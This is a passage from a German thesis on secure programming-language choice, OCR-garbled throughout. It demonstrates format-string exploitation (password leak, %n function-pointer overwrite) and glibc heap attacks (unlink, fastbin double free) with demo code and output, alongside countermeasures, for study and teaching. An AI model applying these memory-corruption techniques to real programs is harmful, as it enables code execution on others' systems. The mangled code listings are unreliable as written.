le (0x080483a8 ) in den Funktionszeigerfp zu schreiben. Hierzu werde®x000000a8
nach &fp , 0x00000083 nach &fp+1 , 0x00000004 nach &fp+2 und 0x00000008
nach &fp+3 geschrieben. Die geschriebenen Wereberlappen sich und bilden den ge-
weinschten Wert, siehe Tabell&2]5.

Die %i Conversion Speci er vor dertors produzieren die beatigte Anzahl von Zeichen,
damit die %rs die gewinschten Werte in den Speicher schreibereknen. Da durch die von
den so in den Speicher geschriebenen Werten nur das kleinBige nicht eberschrieben
wird, ergibt sich folgende Formel zur Berechnung der Pararnez fer die %i:

(a b)mod 256 =r
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#include  <stdio.h>

void func( char * frmt) {

int a = Oxf;
int b = Oxff;
int ¢ = Oxfff;
printf(frmt);

char = password = "secret";

int  main( void ) {
char frmt[]=
"\x08\x85\x04\x08\n

\n"

"%8x\n%8x\n%8x\n%8x\n%8x\n%8x\n%8x\n"

formatstring_read.c

"%8x\n%8x\n%8x\N%8x\n%8x\n%8x\n%8x\n%s\n";

func(frmt);

exit(0);

AH<85>"D"H

b7f24090
8048510
f
ff
fff
bfd76668
80483f5
bfd7661c
8048510
48
177ff8e
1000000
0
28000000
secret

Listing 2.23: Missbrauch eines Formatstrings zur Ausgab&peicherinhalten. Hier der Inhalt

von password

Zieladresse Geschriebene Werte

&fp Oxa8 | Ox00 | Ox00 | Ox00

&fp+1 0x83 | Ox00 | Ox00 | Ox00

&fp+2 0x04 | Ox00 | Ox00 | Ox00
&fp+3 0x08 | 0x00 | Ox00 | Ox00

| | Oxa8 | 0x83 | 0x04 | 0x08

Tabelle 2.5: Das Schreiben mehrereiberlappender Werte bildet zusammex080483a8
(entspricht Oxa8 0x83 0x04 0x08

in der Little-Endian-Darstellung)
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a entspricht hierbei der Anzahl der von diesem Aufruf zu schitgende Zeichenp der im
letzten Aufruf geschriebenen Zeichen und dem gesuchten Ergebnis.

formatstring_write.c
#include  <stdio.h>

void func() {
puts(">> normal function <<");
}

void hostile() {
puts(">> hostile code <<");
}

void (*fp)() = func;

int  main( void ) {
printf("fp: 0x%08x\n", fp);
printf(“func: 0x%08x\n", func);
printf("hostile: 0x%08x\n", hostile);

printf(
"%168i%n" /I ( Oxa8 - 0x00 ) % 256 = 168
"%6219i%n" /I ( 0x83 - Oxa8 ) % 256 = 219
"%129i%n" /I ( 0x04 - 0x83 ) % 256 = 129
"%4i%n" /I ( 0x08 - 0x04 ) % 256 = 4
"\n",
1, &fp,

1, (int )&p +1,
1, (int )&fp +2,
1, (int )&p +3

)i
printf("fp: 0x%08x\n", fp);
fp();

}

fp: 0x08048394

func: 0x08048394
hostile: 0x080483a8

fp: 0x080483a8
>> hostile code <<

Listing 2.24: Missbrauch eines Formatstrings zum watfr8chreiben im Speicher

Diese Technik wird in der Regel benutzt um vorhandene Funkinsadressen auf Schad-
code zeigen zu lassen, zum Beispieki€sprungadressen, Funktionseiniige im Global
O set TabIeH oder in der .dtors Sektiof.

5Eine Tabelle in der die Funktionsadressen aller Bibliothelsfunktionen gespeichert werden.
’Eine Sektion in von GCC erzeugten ausihrbaren Dateien, welche Adresse von Funktionen entalt,
die bei Programmende ausgeihrt werden sollen
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2.4.2 Gegenma nahmen

Der GNU C Compiler bietet mit den Optionen-Wformat und -Wformat-security
die Meglichkeit, Programmierer vor dem fehlerhaften Einsatz woFormatstrings zu war-
nen. Dies sollte zwar in vielen Rllen das Auftreten dieser Fehlerklasse verhindern, biéte
aber alleine keinen ausreichenden Schutz.

Zur weiteren Lektire mechte ich auf den Artikel \Exploiting Format String Vulnera-
bilities" von \scut" verweisen [ScuO1].

2.5 Angri e auf die dynamische Speicherverwaltung

Ein Heap ist eine globale Datenstruktur, die den sogenanmtalynamischen Speicher ver-
waltet. Dynamischer Speicher unterscheidet sich von auf mleStack liegendem Speicher
dadurch, dass er vesigbar ist, bis er explizit freigegeben wird. Der C-Standarde niert
zur dynamischen Speicherverwaltung unter anderem die Fuiibnen malloc zur Alloka-
tion und free zur Freigabe dieses Speichers.

Die auf Linux-Systemen verwendete C-Standard-Bibliotheklie GNU libc (kurz: glibc),
nutzt hierfer den ptmalloc2-Algorithmus von Wolfram Gloger [Glob], der eine Erweiterng
des urspeinglich benutztendlmalloc-Algorithmus von Doug Lea ist [Led].

ptmalloc2 verwaltet unbenutzte Speicherleicke (auchChunks genannt) in sogenann-
ten Bins. Diese verwalten die Chunks in verketteten Listen und enthi@n au erdem noch
weitere Verwaltungsinformationen. Jedes Bin en#idt ausschlie lich Chunks bestimmter
Gre en, so dass bei der Allokation Chunks mit wenig Suchaufwangefunden und wieder-
verwendet werden Bnnen.

Sollte kein ausreichend gro er, freier Chunk vesigbar sein, bezieht der Algorithmus
weiteren Speicher vom Betriebssystem. Dieser wird dem sangenten TopChunk zuge-
wiesen, aus dem dann die betigten Speicherbbcke bezogen werden.

Listing zeigt die Deklaration der Chunkstruct  und Abbildung [Z3 eine leicht
vereinfachte Darstellung der zwei Zusinde, in denen sich ein Chunk be nden kann. Die
merMarkierung zeigt hierbei auf die Adresse, die vomalloc zureckgegeben wird, \&h-
rend diechunk -Markierung den Start des gesamten Chunks markiert. Das Basdere an

struct  malloc_chunk {

INTERNAL_SIZE_T prev_size; /= Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /= Size in bytes, including overhead. */
struct  malloc_chunk =+ fd; /= double links -- used only if free. */

struct  malloc_chunk = bk;

Listing 2.25: Die Deklaration der Chusltuct [Gloa]
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An allocated chunk A unallocated chunk

prev_size ——>] Size of previous chunk —>| Size of previous chunk
chunk
size. ——>] Size of chunk, in bytes —>| Size of chunk, in bytes
mem
fd ——>| User data starts here... | Pointer to the next chunk in list (FD)
bk —> —~] Pointer to previous chunk in list (BK)
Unused space
(may be 0 bytes long)
nextchunk
Size of chunk Size of chunk

Abbildung 2.3: Eine leicht vereinfachte Darstellung destehde eines Chunks (basiert auf
[FerQ7, Seite 27])

dieser Chunk-Struktur ist, dass sie zwar von jedem Chunk weendet wird, allerdings wer-
den je nach Zustand eines Chunks Felder nicht benutzt oder derweitig belegt. So werden
zum Beispiel in einem allokierten Chunk nacmermkeine Zeiger auf andere Chunks gespei-
chert, sondern die Daten, die der Chunk entit. Desweiteren enthalten nichtallokierte,
kleine Chunks (sogenanntd-astbin-Chunks da sie in besonderen Bins, deRastbins ge-
speichert werden) nur einen Zeiger auf dasohste Element der Liste und { im Gegensatz
zu normalen Chunks { keinen Zeiger auf das vorherige.

Die lange Zeit von der Linux-C-Standard-Bibliothek genutten dimalloc und ptmalloc2
Varianten elen besonders dadurch auf, dass sie an ihre Fundnen ebergebene Zeiger in
keiner Weisewberpreften.

Erst Anfang 2004 begann das glibc Projekt mit Freigabe der Y&on 2.3.3 modi zier-
te ptmalloc2 Varianten einzusetzen, die Sicherhedberprefungen enthielten. Die Sarke
dieses bis heute anhaltenden Wandels des Verzichts auf Gw@adigkeit zu Gusten der
Sicherheit wird am deutlichsten an der Entwicklung und Ge e desunlink -Makros, wel-
ches #r das Entfernen von Chunks aus einer Liste zusidig ist (siehe ListinglZ2Zb[Z. 247
und [ZZ8).

|+ take a chunk off a list */
#define  unlink(P, BK, FD)
{

BK P->bk;

FD = P->fd,;

FD->bk = BK;

BK->fd = FD;

— e e e —

Listing 2.26: Das urspnglicheunlink -Makro der glibc-2.3.3 vom 3.8.2004
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[+ Take a chunk off a bin list */

#define  unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd !'= P, 0)) \

malloc_printerr (check_action, "corrupted double-linke d list", P); \
else { \

FD->bk = BK; \

BK->fd = FD; \
} \

}

Listing 2.27: Dasunlink -Makro der glibc-2.3.4 vom

[+ Take a chunk off a bin list */

#define  unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \

malloc_printerr (check_action, "corrupted double-linke d list", P); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if  (lin_smallbin_range (P->size) \
&& __ builtin_expect (P->fd_nextsize != NULL, 0)) { \
assert (P->fd_nextsize->bk_nextsize == P); \
assert (P->bk_nextsize->fd_nextsize == P); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
\
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

Listing 2.28: Dasunlink

26.1.2005

-Makro der glibc-2.7 vom 19.10.2007

Programmiersprachenwahl bei der Entwicklung sicherheits

relevanter Software

39



KAPITEL 2. C

2.5.1 Missbrauchsm eglichkeiten
Alte glibc Versionen

Obwohl die Zahl der Systeme, die alte Versionen der glibc sgtzen, sich immer weiter
verkleinert, mechte ich hier auf die verbreitetesten Angri stechniken @igehen, da diese
weiterhin eine Gefahr darstellen und da Angri stechniken ggen modernere Varianten auf
ihnen aufsetzen.

unlink() technique Die sogenannteunlink() technique missbraucht die Freigabe ei-
nes pmparierten Chunks, um nahezu beliebige Funktionszeiger auerschreiben. Diese
Attacke spielt sich in der Regel in folgenden Schritten ab:

1. Der Angreifer speichert Schadcode und einengparierten Chunk im Speicher des
Programms, zum Beispiel als Texteingabe

Der Forward-Zeiger (d in Listing E2Z3) des Chunks entklt die Adresse des
zu wberschreibenden Funktionszeigers abglich 12 Bytes (entspricht dem Ab-

stand zum Backward-Feld bk in Listing E228) innerhalb des Chunks auf x86-32:
2 sizeof(size_t) + sizeof(char )).

Der Backward-Zeiger des Chunks entit die Adresse des Schadcodes.

2. Der Angreifer mberschreibt einen Zeiger, der auf dynamisch allokiertenp8icher
zeigt und lasst diesen auf seinen pparierten Chunk zeigen, zum Beispiel durch
einen Pu eruberlauf, der einen auf dem Stack liegenden Zeigeberschreibt.

3. Sobald die Anwendung den mparierten Chunk freigibt, werden folgende Aktionen
ausgebst:

die free -Funktion ruft das unlink -Makro auf (siehe ListingCZZb), um den
Chunk aus seiner { nicht existierenden { doppelt verkettete Liste auszutragen

in Zeile 3 desunlink -Makros wird der Funktionszeiger (auf derFD->bk , be-
ziehungweiseP->fd->bk  zeigen) mit dem Inhalt des Backward-Zeigersber-
schrieben

4. Der uberschriebene Funktionszeiger (zum Beispiadrf die printf  -Funktion) zeigt
nun auf den Schadcode des Angreifers, welcher beim Aufrufr dentsprechenden
Funktion ausge#hrt wird

5. In Zeile 4 desunlink -Makros wird der Adresse des Schadcodes mgtich 8 By-
tes (entspricht dem Abstand zum Forward-Feld der Chunk-Strktur auf x86-32
(2 sizeof(size_t)) der Inhalt von FD->bk zugewiesen, welches die Adresse des
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eiberschriebenen Funktionszeigers erdlt. Da diese Adresse mitten in den aushr-
baren Schadcode geschrieben wird, muss dieser davor eineiSganweisung enthal-
ten, damit die Adresse nicht als Maschineninstruktion intepretiert wird.

Durch diese Schritte ist es mglich, beliebigen Schadcode in das amkfrende Programm
einzuschleusen.

double frees Sogenanntedouble freesnutzen das wiederholte Freigeben des selben
Chunks, um Kontrolle eber diesen zu erhalten. Eine solche Attackalift meist wie folgt
ab:

1. Die Anwendung gibt einen Chunk wiederholt mitfree frei (im Folgenden gehe
ich von zweifacher Freigabe aus). Dies wird oft durch Progmamierfehler oder race-
conditions verursacht.

2. Durch die zweifache Freigabe ist der entsprechende Chuakich zwei mal in der
Liste des entsprechenden Bins enthalten.

3. Da der Chunk zweimal in der Liste enthalten ist, kann eineder entsprechenden
Eintr age zurickgegeben werden, @hrend der andere weiterhin in der Liste verbleibt.

4. Sollte einer der Listeneintege durchmalloc zureckgegeben werden, kommt es zu
einem Kon ikt in der Nutzung der Chunk-Struktur. Die Bin-Li ste erwartet Zeiger in
den Forward- und Backward-Feldern des Chunks, &trend ein Chunk im allokierten
Zustand diesen Speicher nutzt, um Daten zu speichern.

5. Sollten in diesem Chunk nun benutzerde nierte Daten gesjchert werden (zum
Beispiel Texteingaben), nehmen diese den Platz der Zeigem end erlauben so dem
Angreifer diese beliebig zu manipulieren.

6. Ab diesem Punkt verlaufen die Attacke und ihre Folgen anayy zu der unlink()
technique.

Neuere glibc Versionen

Neuere Versionen der glibc legen deutlich mehr Wert auf Setineit als ihre Vorganger, es
kann aber aus Genden der E zienz nicht jeder vom Nutzer ubergebenen Wert vollsandig
auf Validit at oder Sinnhaftigkeit gepeift werden. Aus diesem Grund besclanken sich auch
diese ptmalloc2 Variationen auf e zient realisierbare®berprefungen.

So ist es zum Beispiel weiterhin wglich, den internen Status der Fastbins durch dou-
ble frees zu manipulieren, allerdings ist diese Attacke ihrien Auswirkungen stark einge-
schmnkt, wie ich im Folgenden zeigen werde.
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double frees glibc-2.3.4-g|ibc-2.H double frees erfordern, wie normale double frees
auch, das wiederholte Freigeben des gleich Chunks. Allergs ist es hier mtig, eine Ab-
frage im ptmalloc2unlink -Makro zu umgehen (ListingcZZ2l7, Zeile 5-6), die das erneute
Freigeben des zuletzt freigegebenen Chunks verhindert. deiteren ist es nicht mehr
meglich, beliebige Werte in die Forward- und Backward-Zeigeles modi zierten Chunks
zu schreiben, da die dort gespeicherten Zeiger auf den Heagen nussen.

Durch diese Einschankungen ist es nicht mehr maglich, beliebige Zeiger im Speicher
zu wberschreiben, so dass sich ein Angreifer auf die Maniputat der Fastbin-Listen be-
schmnken muss. Trotzdem bleibt es mglich, beliebige Chunks in diese Listen einzugen
oder die Listen in einem zirkuhren Zustand zu hinterlassen. Dies kann unter Umshden
dazu missbraucht werden, Chunks, die vom Programm intern getzt werden, gleichzeitig
dem Angreifer zur Speicherung von Benutzereingaben zur Yegung zu stellen, wodurch
dieser den Programmablauf erheblich beein usseminte. In Listing (Ausgabe in
Listing Z:30) be ndet sich ein Beispiel dieser Attacke, dem Schritte ich im Folgenden
erklare:

1. Allokation der Chunks x, a, b und c. x soll keinstlich wieder in die entsprechende
Liste der freien Chunks eingefgt werden

2. a, b und c werden freigegeben, die Liste der freien Chunks ealhnun ausschliesslich
diese Eintmge

3. b wird ein zweites mal freigegeben. Dies durfte erst nach dereigabe eines weitere
Chunks (c in diesem Fall) geschehen, um die Abfrage in ListingZ]27 ¥ei5-6 zu
umgehen. Die Liste be ndet sich nun in einem zirk#lren Zustand, wie sich in Listing
beobachtenesst.

4. Ein Chunk wird allokiert. Hierzu wird der zuletzt an die Festbin-Liste angetigte
Chunk (b) zuruckgegeben und seine Adresse wiederumblingespeichert. Da dieser
Chunk zweimal freigegeben wurde, bleibt seine Adresse adi@gs auch weiterhin in
der Liste enthalten.

5. Der Forward-Zeiger vorb wird auf die Adresse inx gesetzt, der Forward-Zeiger von
x danach auf die Adresse vom. Hiermit wurde x erfolgreich in die Chunk-Liste
eingetigt.

6. Die Allokation weiterer Chunks zeigt die Rickgabe vonx und damit den Erfolg der
Manipulation.

82.7 ist zur Zeit der Verfassung dieses Dokuments die aktuedlVersion der glibc
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heap_fastbin.c

#include  <string.h>
#include  "heap.h"

int  main( void ) {
size_t size = Oxf;

long * ptr;
long * tmp;
int i

/I #1: allocating chunks
long * x = malloc(size);
printChunkAddress(x, "x");

long * a = malloc(size);
long * b = malloc(size);
long * ¢ = malloc(size);
printChunkAddress(a, "a");
printChunkAddress(b, "b");
printChunkAddress(c, "c");

/I #2: freeing a, b, c
free(a);
free(b);
free(c);

puts("\n--8<-- the fastbin before the double-free");
printFastbinList(c);

/I #3: freeing b again
free(b);

puts("\n--8<-- the fastbin after the double-free");
printFastbinList(c);

/I #4: reallocating b
b = malloc(size);

/I #5: inserting x into the list
*b = (long ) mem2chunk(x);
*x = (long ) mem2chunk(a);

puts("\n--8<-- the manipulated fastbin");
printFastbinList(c);

puts("\n--8<-- chunks returned by malloc");
/I #6: allocating chunks from the manipulated fastbin
for (i=0; i < 5; i++) {
ptr = malloc(size);
printChunkAddress(ptr, "ptr");
}

exit(0);

Listing 2.29: Manipulation eines Fastbins
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heap_fastbin.txt

chunk 0x0804a000
chunk 0x0804a018
chunk 0x0804a030
chunk 0x0804a048

Qo x

--8<-- the fastbin before the double-free

bin list: 0x0804a048 -> 0x0804a030 -> 0x0804a018 -> 0x00000 000

--8<-- the fastbin after the double-free

bin list: 0x0804a048 -> 0x0804a030 -> 0x0804a048 -> 0x0804a 030 -> 0x0804a048 -> 0x0804a030 ->
0x0804a048 -> 0x0804a030 -> 0x0804a048 -> 0x0804a030 -> 0x0 804a048 -> ...

--8<-- the manipulated fastbin
bin list: 0x0804a048 -> 0x0804a030 -> 0x0804a000 -> 0x0804a 018 -> 0x00000000

--8<-- chunks returned by malloc
ptr: chunk 0x0804a048
ptr: chunk 0x0804a030
ptr: chunk 0x0804a000

ptr: chunk 0x0804a018
ptr: chunk 0x0804a060

Listing 2.30: Manipulation eines Fastbins (Ausgabe)

double frees sind zwar nicht die einzige Attacke gegen moderptmalloc2 Implemen-
tationen, allerdings, trotz erheblichen Aufwands, die amiefachsten auséihrbare. Fer
komplexere Angri smeglichkeiten mechte ich deshalb auf\The Malloc Male carum" von
\Phantasmal Phantasmagoria’[Pha] und auf\The use of sehead to defeat the wilderness"
von Jean-Sbastien \g463" Guay-Leroux|gGLC7] verweisen

2.5.2 Gegenma nahmen

Trotz der eingebauten Sicherheitsma nahmen bieten auch rderne Varianten des ptmal-
loc2 Algorithmus noch eine gro e Angri s ache. Allerdings asst sich diese, durch den
Einsatz von Address Space Layout RandomizatiofASLR), sehr leicht auf ein akzeptables
Ma reduzieren, da alle Angri e auf ptmalloc2 die Kenntnis nehrerer Adressen vorrau-
setzen. Rur eine Abwagung der Vor- und Nachteile von ASLR machte ich auf Kapitel
2371 verweisen. Zuwszlich mechte ich darauf hinweisen, dass die Weiterentwicklung der
ptmalloc2 Sicherheitsma nahmen noch lange nicht ihr Endereeicht hat. Das gleiche gilt
naterlich auch fer die Weiterentwicklung der Angri stechniken.

Zur weiteren Lektire der Thematik empfehle ich \Understanding the heap by bee
king it" von Justin N. Ferguson[Fer07] und \Vudo - An object superstitiously believed to
embody magical powers1Kae01] von Michel \MaXX" Kaempf.
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2.6 Weitere Schw achen der Programmiersprache

Da ich bis jetzt nur auf statistisch belegte Schachen eingegangen bin, ethte ich in die-
sem Kapitel die meiner Meinung nach wichtigsten statistiscschwer erfassbaren Ursachen
untersuchen, die zu Softwarefehlerrefiren.

Eine Aufzahlung weiterer Probleme besindet sich ICERT C Secure Coding Stan-
dard[CERa].

2.6.1 Nicht automatisierte, allt  agliche T atigkeiten

C bietet fur viele alltagliche, leicht zu automatisierende #&tigkeiten keine Funktionen, die
diese vollsandig und sicher endillen. Ein Beispiel hier#ir ist die Iteration wber Felder. Hier

muss #Ir jede Schleife die Abbruchbedingung von Hand programmtewerden, was sehr
fehlerantllig ist. Ein weiteres Beispiel ist das Kopieren von Strirgy Zwar gibt es Biblio-

theken, die einfachere Methoden zur Varfjung stellen (wie zum Beispiel die glib[Theb]),
allerdings wird keine von diesen vom C-Standard de niert, @shalb sie wenig verbreitet
sind und als Folge fast immer die fehleramfligen standardisierten C-Funktionen genutzt
werden.

2.6.2 Unsichere Standardfunktionen

Viele der von C zur Vertigung gestellten Funktionen sollten nicht mehr verwendetevden,
da sie nur mit ausgiebigen vorherigeftyberprefungen sicher verwendet werdenekinen.
Ein klassisches Beispielef diese Problematik ist die Funktionstrcpy , die zum Kopie-
ren von Zeichenketten verwendet wird. Da die einzige Abbrbbedingung der Funktion
ein Null-Byte in der Quellzeichenkette ist, ist es sehr ldit, mit ihr Pu er uberlaufe zu
erzeugen, falls diese Zeichenkette zu lang ist. Zwar bietder C-Standard eine sichere-
re Alternative, strncpy , die es ermaglicht, die Anzahl der zu kopierenden Zeichen zu
bestimmen. Allerdings garantiert diese nicht, dass die kagrte Zeichenkette Null-Byte ter-
miniert ist, falls die Quelle nicht komplett in die Zielzeibenkette passt. Die Alternative
hierzu, stricpy , ist allerdings weder im C-Standard noch in der glibc enthtdn, sondern
nur in zusatzlichen Bibliotheken wie der gliblTheb] und den C-Standa-Bibliotheken von
Solaris sowie diversen BSD-Derivaten.

2.6.3 Fehlerbehandlung

Da C keinen Exceptionmechanismus besitzt, ist man bei der Bandlung von Fehlern aus-
schliesslich auf die Auswertung von &ckgabewerten besclnkt. Da fast alle Funktionen
und Systemaufrufe unter bestimmten Bedingungen fehlsciglan k®nnen, erfordert dies

Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software 45



KAPITEL 2. C

die Uberprufung der Reckgabewerte von fast allen verwendeten Funktionen. Da kePro-
grammierer diesen Aufwand treibt, kann das unerwartete, dntabgefangene Fehlschlagen
einer Funktion zu unerwarteten Anderungen im Programmablauf éhren, vorallem falls
ein Angreifer in der Lage sein, sollte die Umgebungsbedinmgen des Programms zu be-
ein ussen.

Exceptionmechanismen sind zwar nicht unbedingt weniger Bwendig zu programmie-
ren, allerdings ist bei ihnen ausgeschlossen, das seltemhl&r einfach ignoriert werden.
Da unbehandelte Exceptions in den meisten Sprachen zum Abich eines Programms
fuhren, werden so weitere Selden vermieden und es wirdefr die Entdeckung der nicht
beachteten Fehlersituation gesorgt.

Ein einfaches Beispiel hierzu, welches ich deGERT C Secure Coding StandarfCERS3,
Kapitel STR03-A] entnommen habe, ndet man in Listing[Z3ll ad [Z32. An diesem
Beispiel lsst sich sehr leicht sehen, wieviel auémdiger es ist, fehlerresistenten Code
zu schreiben, weshalb in der Regel nur die Aufrufeberpreft werden, von denen die
Programmierer annehmen, dass sie fehlschlagemkten. Die Menge der Aufrufe, die in der
Regel als fehlschlagbar betrachtet werden, erdtt zum Beispiel nicht sicherheitskritische
Aufrufe wie malloc oder setuid H , deren Fehlschlagen durch gezieltes Ersgbfen der
entsprechenden Ressourcen (Speicher, beziehungsweisédezahl der erlaubten Prozesse)
sehr leicht erreicht werden kann.
char =string_data;
char a[16];

[* .. */
strncpy(a, string_data, sizeof (a));

Listing 2.31: Kopieren eines Strings ohne Fehlerbehamd@uelle: [CERa)))

2.7 Fazit

Die Programmiersprache C ermglicht die Erstellung sehr e zienter Programme, bietet
gleichzeitig aber #ir viele alltagliche Operationen keine Funktionen und viele Funktionen
deren sicherer Gebrauch sehr auémdig ist. Zwar gibt es durchaus in C programmierte
Projekte, die mber viele Jahre hinweg keine schwerwiegenden Sicherhmitdbleme her-
vorgebracht haben, allerdings zeichnen sich diese in derdeédurch einen sehr sicher-
heitsbewussten Programmentwurf und Programmierer mit weisberdurchschnittlicher

9setuid ist ein Unix-Systemaufruf, der die User-ID eines Prozessamdert und damit auch die entspre-
chenden Rechte und mhigkeiten. Applikationen, die automatisch mit erhehten Berechtigungen starten,
nutzen solche Aufrufe in der Regel, um ihre eigenen Bereclgungen zu reduzieren, um Missbrauchseg-
lichkeiten von Programmfehlern einzuschanken.
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#define  A_SIZE 16
char =string_data;
char a[A_SIZE];
[x ... x/
if (string_data) {
if  (strlen(string_data) < sizeof (a)) {
strepy(a, sizeof (a), string_data);

else {
/= handle string too large condition */

}

else {
/= handle NULL string condition */
}

Listing 2.32: Kopieren eines Strings mit FehlerbehandiQuglle: [CERa))

Erfahrung im Bereich der sicheren Programmierung aus. AlseBpiel #ir die Entwicklung
einer sichern Anwendung in C rachte ich aufgmail von Bernstein verweisen, der seine
Entwicklungsmethoden in dem Paper\Some thoughts on sectyiafter ten years of gmail
1.0'[Ber07] beschrieben hat.
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3 Andere kompilierte Sprachen

Im folgenden Kapitel mechte ich weitere verbreitete kompilierte Sprachen und ierAn-
falligkeit fer die bereits bekannten Fehlerklassen vorstellen. Zatzlich werde ich auch neue
Fehlerklassen behandeln, die auf spezielle Eigenschaftim jeweiligen Sprache zwrckzu-
fuhren sind. Kompilierte Sprachenzeichnen sich durch ihre native Geschwindigkeit und
Hardwarerahe gegember deninterpretierten Sprachenaus, die in Kapitel[4 vorgestellt
werden.

3.1 C++

C++ ist eine ursprenglich 1979 von Bjarne Stroustrup entwickelte Programmisprache,
deren ursperingliches Ziel darin bestand, C mit aus der Programmierspthe Simula ent-
nommenen Hhigkeiten anzureichern und gleichzeitig weitgehende Kqatibilit at mit C

zu erhalten. Der Hauptunterschied zu den meisten anderen r@phen besteht darin, wie
stark sich die Sprachesber die Jahre hinweg veandert hat. Wahrend C++ am Anfang

noch unter \C with Classes" rmierte, wurden im Laufe der Jalre diverse Rhigkeiten in
die Sprachen aufgenommen, die diese mehrfach grusidéich verandert haben. Beispiel
hierfur sind Exceptions, Namespaces, Templates oder Iteratoremd die Standard Tem-
plate Library. Weitere Details zur Entwicklung von C++ nde n sich in Stroustrups \A

History of C++: 1979-1991'{Sti].

Das fortlaufende Wachstum der Sprache hat leider nicht nurdrteile mit sich gebracht.
Das heutige C++ ist eine Sprache, die dem Programmierer toka Freiheit in seinen lo-
sungsanatzen lasst, allerdings oft an der Anzahl dieser verschiedenermoljlichkeiten und
schlechter Lesbarkeit leidet.

Fur eine Aufzmhlung weiterer Probleme sei auf den \CERT C++ Secure Coding
Standard'{CERD] und Kreinins \C++ FQA Lite'[Kre] Verwiese n.

In den folgenden Listing$-311 un@=312 mthte ich zeigen, wie C++ mit den nun bekann-
ten Fehlerklassen umgeht. Ich habe hierbg++ , den C++ Compiler der GNU Compiler
Collection|thed], in Version 4.2.3, verwendet.
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example.cpp

#include  <iostream>
#include  <cstdio>
#include  <vector>

int

main() {
int i
unsigned int ui;

/I #1 Integeroverflows
i = 2147483647 + 1;

std::cout << "#1\tMost positive number +1: " << | << std::end
/I #2 Absolute Integer Values

i = -2147483648;

iox= -1;

std::cout << "#2\tinverted most negative number: " << i << st
/I #3 Integer Conversion

i=-1;

ui = i

std::cout << "#3\t-1 as unsigned integer: " << ui << std:end
/I #4 Usual Arithmetic Conversion

i=-2;

ui = 1;

ui =i + ui;

std::cout << "#4\tOperations on Integers of different type

/I #5 Bufferoverflows
std::vector< int > vec;

vec.push_back(1);

S:

d:endl;

<< ui << std:endl;

vec.push_back(2);

std::cout << "#5\tBufferoverflows are possible:" << std:: endl;
std::cout << "\tbefore:\tvec[10] = " << vec[10] << std::end l;
vec[10] = 100;

std::cout << "\tafter:\tvec[10] = " << vec[10] << std::end!

try

{
vec.at(10) = 200;

catch (std::exception &e) {
std::cout << "\tExcept when .at is used instead of []," << std zendl
<< "\tthen they cause an exception: "
<< e.what() << std:endl

}

/I #6 Formatstring attacks

/I The standard output functions of C++ do not support format strings,
/I thus do not allow formatstring attacks. However, printf i s available

printf("#6b\tCs printf is available: %08x %08x %08x\n");

/I #7 Attacks on the dynamic memory management are NOT preven ted,
I however a demonstration would be too complex to present he re
/I #8 Methods for common operations are present, but often cu mbersome
I to use in comparison to other languages
std::cout << "#8\tMethods for common operations are presen t" << std:endl;
for (std::vector< int >uiterator iter = vec.begin(); iter = vec.end(); ++iter)
std:icout << "\t' << *iter << std::endl;
}
return  0;

Listing 3.1: Fehlerklassen am Beispiel von C++

relevanter Software
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example.cpp.txt

#1 Most positive number +1: -2147483648
#2 Inverted most negative number: -2147483648
#3 -1 as unsigned integer: 4294967295
#4 Operations on Integers of different types: 4294967295
#5 Bufferoverflows are possible:

before: vec[10] = 0

after:  vec[10] = 100

Except when .at is used instead of [,

then they cause an exception: vector::_M_range_check
#6b Cs printf is available: 00001000 00000f9f 00000001
#8 Methods for common operations are present

1

2

Listing 3.2: Fehlerklassen am Beispiel von C++ (Ausgabe)

Integer wberl aufe, Absolute Integer-Darstellung, Integer Conversion, Usual Arith-
metic Conversion  C++ ist, genau wie C selbst, anallig fur diese Fehlerklassen.

Puer wberl aufe Die Felder von C++ entsprechen in jeder Hinsicht denen von Cnd
bergen dem entsprechend die gleichen Gefahren. [Beandard Template Library (STL)
bietet zusatzlich noch dievector -Klasse, derenat -Methode die Grenzen des Vectors
eiberpruft, allerdings verzichtet der wesentlichefter benutzte uberladene[] -Operator in
dieser Implementierung auf dies@&berprefung.

Formatstring-Angri e Die C++ Standard-Ausgabe-Funktion cout unterstetzt kei-

ne Formatstrings und ist daher auch nicht ardllig fer deren Missbrauch. Allerdings bietet
C++ auch Zugang zu Cs Formatstring-Funktionen, die oft einewillkommene Alternative

zu den iostream-Funktionen darstellen, da sich mit Formatsngs viele Dinge einfacher
und kerzer ausdeicken lassen. Ein Beispiel hierzu ave printf("%08x", i) im Ver-

gleich zustd::cout << std::hex << std::setfill('0") << std::setw(8 )
<< | << std::dec << std::endl;

Dynamische Speicherverwaltung Der C++-Standard de niert die Funktionen new
zur Allokation, delete zur Freigabe von Objekten unddelete[]]  zur Freigabe von Fel-
dern. Diese werden von der libstdc++, der hier verwendeten €+-Standard-Bibliothek,
mit Hilfe der malloc und free Funktionen der lokalen C-Standard-Bibliothek umge-
setzt, wodurch sich zum Beispiel durch gezielte Aufrufe vadelete[]  die gleiche Proble-
matik wie bei der direkten Speicherverwaltung mimalloc und free ergibt (vergleiche
Abschnitt E25)). Zusatzlich leidet C++ an einer neuen Fehlerklasse: solltedelete und
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delete]] miteinander verwechselt werden, so suchen diese nach Vdturgsinformatio-
nen an Stellen, an denen Nutzerdaten gespeichert werdenllt®a diese Daten von einem
Angreifer kontrolliert werden, kann dieser auf diese Weisechadcode ausihren. Eine de-
taillierte Beschreibung dieses Angri svektors ndet sichin \Attacking delete and delete][]
in C++"von Dowd et al.[DMSO7Db].

Allt agliche Aufgaben  Die STL bietet fur viele alltagliche Aufgaben vorgefertigte Me-
thoden. Allerdings sind diese im Vergleich zu anderen Spramn oft umst@ndlich im Ge-

brauch und schwerer zu lesen, was die Suche nach Programfeielern wiederrum er-
schwert. Ein Beispiel &ir die Anwendung einer STL Methode zur Iterationeber ein Feld

